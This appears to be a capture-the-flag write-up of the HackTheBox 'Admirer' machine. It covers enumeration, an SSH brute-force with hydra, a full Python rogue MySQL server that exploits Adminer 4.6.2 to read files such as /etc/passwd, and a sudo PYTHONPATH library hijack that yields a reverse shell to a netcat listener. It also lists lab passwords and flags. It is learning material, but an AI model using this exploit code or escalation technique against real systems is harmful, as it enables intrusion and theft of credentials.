this machine is rated as easy, but in actual fact it should be medium according to the perspective of my skill level, nonetheless I have learned some useful things about this hack.
nmap enumeration
nmap -A -T4 -p- -oN admirer -vvv -Pn 10.10.10.187
the results present three ports:
Nmap scan report for 10.10.10.187 Host is up, received user-set (0.18s latency). Scanned at 2020-05-04 09:12:32 +08 for 5172s Not shown: 54907 closed ports, 10625 filtered ports Reason: 54907 conn-refused and 10625 no-responses PORT STATE SERVICE REASON VERSION 21/tcp open ftp syn-ack vsftpd 3.0.3 22/tcp open ssh syn-ack OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0) | ssh-hostkey: | 2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaQHjxkc8zeXPgI5C7066uFJaB6EjvTGDEwbfl0cwM95npP9G8icv1F/YQgKxqqcGzl+pVaAybRnQxiZkrZHbnJlMzUzNTxxI5cy+7W0dRZN4VH4YjkXFrZRw6dx/5L1wP4qLtdQ0tLHmgzwJZO+111mrAGXMt0G+SCnQ30U7vp95EtIC0gbiGDx0dDVgMeg43+LkzWG+Nj+mQ5KCQBjDLFaZXwCp5Pqfrpf3AmERjoFHIE8Df4QO3lKT9Ov1HWcnfFuqSH/pl5+m83ecQGS1uxAaokNfn9Nkg12dZP1JSk+Tt28VrpOZDKhVvAQhXWONMTyuRJmVg/hnrSfxTwbM9 | 256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNHgxoAB6NHTQnBo+/MqdfMsEet9jVzP94okTOAWWMpWkWkT+X4EEWRzlxZKwb/dnt99LS8WNZkR0P9HQxMcIII= | 256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBqp21lADoWZ+184z0m9zCpORbmmngq+h498H9JVf7kP 80/tcp open http syn-ack Apache httpd 2.4.25 ((Debian)) | http-methods: |_ Supported Methods: GET OPTIONS |_http-server-header: Apache/2.4.25 (Debian) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Web fuzzing
I did the gobuster to search for directories with directory-list-2.3-medium.txt but did not return any useful directories, then I use dirbuster to search for php with the same wordlist and I could not see anything useful too, then i search txt, perhaps the machine was fuzzed by too many people and each person may use too many threads to fuzz hence my dirbuster result got timeout several times.
The key to success is to try all available wordlists but I did not do that, great patience is required to get the correct clues.
Eventually I used nikto to check for possible vulnerability and I found a robots.txt, robots.txt is used to tell search engine not to crawl the directory specified within robots.txt.
nikto -host http://10.10.10.187
the robots.txt revealed there is a directory /admin-dir
I cannot access the directory, but the clue clearly states there are two things within the directory – creds and contacts.
So I made some guesses.
contacts.txt:
credentials.txt:
So I found some credentials, after exploring the machine I realized all except for the ftpuser are rabbit holes.
Download contents from ftp
The ftp credentials:
username: ftpuser
password: %n?4Wz}R$tTF7
Logon to ftp and download all contents.
Finding clues from downloaded contents
the dump.sql contains sql commands for table creation and its specification there is nothing much to learn from except I learn that the database name is admirerdb
and it has one table – items
.
tar xzvf html.tar.gz
a set of web files are extracted, I recommend to extract the contents in a new sub directory so as not to mix up with other files downloaded during the exploration.
The web structure
With tree I can see the actual structure of the web.
tree -C
I opened up robots.txt, there is a difference with the current robots.txt
This gives me a hint that this html.tar.gz I downloaded could be a development web before going to production, the directory /w4ld0s_s3cr3t_d1r
could not be found within the production web.
After reading the files, I found that the contents within the utility-scripts
directory has more interesting information.
the db_admin.php contains credential to the database.
the admin_tasks.php contains bash functions, however only 3 out of 7 can be used, from 4 to 7 are disabled due to privilege issue.
the info.php is a phpinfo() function.
then on the web root index.php
reveals another database credential.
So there are two database credentials which one is a valid one?
Explore the production web
Base on the web structure I go over to the production web and see if the path exists.
/utility-scripts/admin_tasks.php
I wasted a lot of hours in this, as I was using php wrapper techniques to try to do local / remote file inclusion but all failed, it turned out later that the efforts were all futile.
/utility-scripts/info.php
The most useful information I find is the document root of the current web, and its user.
I tried to use the credentials I found to connect via ssh as waldo but I failed, then I use hydra with the users and passwords I found to see if any username and password can connect to ssh.
hydra -L userlist.txt -P passlist.txt 10.10.10.187 ssh
It turned out that ftpuser is accepted by ssh, but this is a rabbit hole, although the authentication is accepted by ssh there is no shell created and hence the connection is closed.
So I was stucked and got help, and someone in the forum suggested me to check the /utility-scripts
, so I ran dirbuster with the same wordlist with php as extension but I could only find info.php
and admin_tasks.php
, only after I got user then I realized the intention was to try different wordlists to enumerate patience is expected to complete the task, but I did not try another wordlist… so I read the forum and found two members mentioned that the name of the machine itself is a big hint…
So I went over to duckduckgo and search and eventually I found adminer which is a database php admin interface similar to phpmyadmin (adminer and admirer sounds similar?).
So I made another guess http://10.10.10.187/utility-scripts/adminer.php
So I tried the database credentials I found earlier but I could not logon.
Exploit adminer vulnerability due to mysql flaw
So I search the web for adminer version 4.6.2 vulnerability.
I found this https://sansec.io/research/adminer-4.6.2-file-disclosure-vulnerability
, then later I found this https://sansec.io/research/sites-hacked-via-mysql-protocal-flaw which leads me to download a rogue mysql server.
The articles explain that it is possible to do data exfiltration with its flaw.
To do this I need to run the rogue mysql server and specify the file I need to download, then from the adminer logon page I put the address of my attacking machine then put any username and password, then with wireshark I got the contents of the file.
Step 1:
Modify the file list I wish to get.
below is the entire code.
#!/usr/bin/env python #coding: utf8 import socket import asyncore import asynchat import struct import random import logging import logging.handlers PORT = 3306 log = logging.getLogger(__name__) log.setLevel(logging.INFO) tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab') tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s")) log.addHandler( tmp_format ) filelist = ( #'/etc/passwd', #'/proc/self/environ', #'/var/www/html/utility-scripts/adminer.php', '/var/www/html/index.php', '/var/www/html/utility-scripts/db_admin.php', '/var/www/html/utility-scripts/admin_tasks.php' ) #================================================ #=======No need to change after this lines======= #================================================ __author__ = 'Gifts' def daemonize(): import os, warnings if os.name != 'posix': warnings.warn('Cant create daemon on non-posix system') return if os.fork(): os._exit(0) os.setsid() if os.fork(): os._exit(0) os.umask(0o022) null=os.open('/dev/null', os.O_RDWR) for i in xrange(3): try: os.dup2(null, i) except OSError as e: if e.errno != 9: raise os.close(null) class LastPacket(Exception): pass class OutOfOrder(Exception): pass class mysql_packet(object): packet_header = struct.Struct('<Hbb') packet_header_long = struct.Struct(' 16, 0, self.packet_num) result = "{0}{1}".format( header, self.payload ) return result def __repr__(self): return repr(str(self)) @staticmethod def parse(raw_data): packet_num = ord(raw_data[0]) payload = raw_data[1:] return mysql_packet(packet_num, payload) class http_request_handler(asynchat.async_chat): def __init__(self, addr): asynchat.async_chat.__init__(self, sock=addr[0]) self.addr = addr[1] self.ibuffer = [] self.set_terminator(3) self.state = 'LEN' self.sub_state = 'Auth' self.logined = False self.push( mysql_packet( 0, "".join(( '\x0a', # Protocol '5.6.28-0ubuntu0.14.04.1' + '\0', '\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00', )) ) ) self.order = 1 self.states = ['LOGIN', 'CAPS', 'ANY'] def push(self, data): log.debug('Pushed: %r', data) data = str(data) asynchat.async_chat.push(self, data) def collect_incoming_data(self, data): log.debug('Data recved: %r', data) self.ibuffer.append(data) def found_terminator(self): data = "".join(self.ibuffer) self.ibuffer = [] if self.state == 'LEN': len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1 if len_bytes < 65536: self.set_terminator(len_bytes) self.state = 'Data' else: self.state = 'MoreLength' elif self.state == 'MoreLength': if data[0] != '\0': self.push(None) self.close_when_done() else: self.state = 'Data' elif self.state == 'Data': packet = mysql_packet.parse(data) try: if self.order != packet.packet_num: raise OutOfOrder() else: # Fix ? self.order = packet.packet_num + 2 if packet.packet_num == 0: if packet.payload[0] == '\x03': log.info('Query') filename = random.choice(filelist) PACKET = mysql_packet( packet, '\xFB{0}'.format(filename) ) self.set_terminator(3) self.state = 'LEN' self.sub_state = 'File' self.push(PACKET) elif packet.payload[0] == '\x1b': log.info('SelectDB') self.push(mysql_packet( packet, '\xfe\x00\x00\x02\x00' )) raise LastPacket() elif packet.payload[0] in '\x02': self.push(mysql_packet( packet, '\0\0\0\x02\0\0\0' )) raise LastPacket() elif packet.payload == '\x00\x01': self.push(None) self.close_when_done() else: raise ValueError() else: if self.sub_state == 'File': log.info('-- result') log.info('Result: %r', data) if len(data) == 1: self.push( mysql_packet(packet, '\0\0\0\x02\0\0\0') ) raise LastPacket() else: self.set_terminator(3) self.state = 'LEN' self.order = packet.packet_num + 1 elif self.sub_state == 'Auth': self.push(mysql_packet( packet, '\0\0\0\x02\0\0\0' )) raise LastPacket() else: log.info('-- else') raise ValueError('Unknown packet') except LastPacket: log.info('Last packet') self.state = 'LEN' self.sub_state = None self.order = 0 self.set_terminator(3) except OutOfOrder: log.warning('Out of order') self.push(None) self.close_when_done() else: log.error('Unknown state') self.push('None') self.close_when_done() class mysql_listener(asyncore.dispatcher): def __init__(self, sock=None): asyncore.dispatcher.__init__(self, sock) if not sock: self.create_socket(socket.AF_INET, socket.SOCK_STREAM) self.set_reuse_addr() try: self.bind(('', PORT)) except socket.error: exit() self.listen(5) def handle_accept(self): pair = self.accept() if pair is not None: log.info('Conn from: %r', pair[1]) tmp = http_request_handler(pair) z = mysql_listener() # daemonize() asyncore.loop()
Setup and wait for connection python rogue_mysqlserver.py
Step 2:
Start my wireshark and filter by mysql.
Step 3:
Logon from the production adminer portal. The only thing matters is the server, and Mysql is selected (The production database is a mariadb database which is the same as mysql) the rest are arbitary.
Locate the stream and follow the stream I will get what I need – the production index.php
Notice the password is different!
The password found in backup index.php: ]F7jLHw:*G>UPrTo}~A"d6b
the password in the production index.php:
Get the user flag
The real password can be used to logon to adminer and to ssh as well.
I was really relieved that there was no more twist for getting the user.
the user flag: 3df453b1a523f3f67a069ad7c4f73d33
Looking for clues to get root
Without the technical know how getting root is quite difficult, I learned something from this hack.
What is waldo’s sudo privilege
Waldo is also a member of admins group.
Waldo has one sudoer privilege which is to run /opt/scripts/admin_tasks.sh with preserved environment variable (SETENV), meaning waldo can run this
sudo PATH=/path/to/my/script /opt/scripts/admin_sh 6
.
Understand the admin_tasks.sh
The privilege allows member of admins to read and execute.
The source code of admin_tasks.sh looks like this:
#!/bin/bash view_uptime() { /usr/bin/uptime -p } view_users() { /usr/bin/w } view_crontab() { /usr/bin/crontab -l } backup_passwd() { if [ "$EUID" -eq 0 ] then echo "Backing up /etc/passwd to /var/backups/passwd.bak..." /bin/cp /etc/passwd /var/backups/passwd.bak /bin/chown root:root /var/backups/passwd.bak /bin/chmod 600 /var/backups/passwd.bak echo "Done." else echo "Insufficient privileges to perform the selected operation." fi } backup_shadow() { if [ "$EUID" -eq 0 ] then echo "Backing up /etc/shadow to /var/backups/shadow.bak..." /bin/cp /etc/shadow /var/backups/shadow.bak /bin/chown root:shadow /var/backups/shadow.bak /bin/chmod 600 /var/backups/shadow.bak echo "Done." else echo "Insufficient privileges to perform the selected operation." fi } backup_web() { if [ "$EUID" -eq 0 ] then echo "Running backup script in the background, it might take a while..." /opt/scripts/backup.py & else echo "Insufficient privileges to perform the selected operation." fi } backup_db() { if [ "$EUID" -eq 0 ] then echo "Running mysqldump in the background, it may take a while..." #/usr/bin/mysqldump -u root admirerdb > /srv/ftp/dump.sql & /usr/bin/mysqldump -u root admirerdb > /var/backups/dump.sql & else echo "Insufficient privileges to perform the selected operation." fi } # Non-interactive way, to be used by the web interface if [ $# -eq 1 ] then option=$1 case $option in 1) view_uptime ;; 2) view_users ;; 3) view_crontab ;; 4) backup_passwd ;; 5) backup_shadow ;; 6) backup_web ;; 7) backup_db ;; *) echo "Unknown option." >&2 esac exit 0 fi # Interactive way, to be called from the command line options=("View system uptime" "View logged in users" "View crontab" "Backup passwd file" "Backup shadow file" "Backup web data" "Backup DB" "Quit") echo echo "[[[ System Administration Menu ]]]" PS3="Choose an option: " COLUMNS=11 select opt in "${options[@]}"; do case $REPLY in 1) view_uptime ; break ;; 2) view_users ; break ;; 3) view_crontab ; break ;; 4) backup_passwd ; break ;; 5) backup_shadow ; break ;; 6) backup_web ; break ;; 7) backup_db ; break ;; 8) echo "Bye!" ; break ;; *) echo "Unknown option." >&2 esac done exit 0
Option number 6 which tar and zip the web site uses a python script.
Understand the backup.py
Member of admins can only read the python script, meaning waldo cannot execute it directly nor can waldo modify the script, waldo can only read it.
The source code of backup.py:
#!/usr/bin/python3 from shutil import make_archive src = '/var/www/html/' # old ftp directory, not used anymore #dst = '/srv/ftp/html' dst = '/var/backups/html' make_archive(dst, 'gztar', src)
There is a chance to impersonate shutil
because SETENV is given to waldo meaning I can run this sudo PYTHONPATH=/path/to/faked/shutil.py /opt/scripts/admin_tasks.sh 6
https://stackoverflow.com/questions/8633461/how-to-keep-environment-variables-when-using-sudo has a good discussion on how to keep environment variables with sudo, it is not possible to make the impersonate shutil to work if I export the PYTHONPATH then run sudo /opt/scripts/admin_tasks.sh
because I only exported the path to waldo not root. By running sudo PYTHONPATH=/path/to/faked/shutil.py /opt/scripts/admin_tasks.sh 6
PYTHONPATH changes for root and the script will refer to the PYTHONPATH for shutil.
Privilege escalation
On my attacker machine:
nc -lvnp 4444
On Admirer:
then run sudo PYTHONPATH=/tmp/test /opt/scripts/admin_tasks.sh 6
On my attacker machine I got a reverse connection and I go to root.txt.
root.txt: 1d0474a8fdbbddc5a41e942f688514c4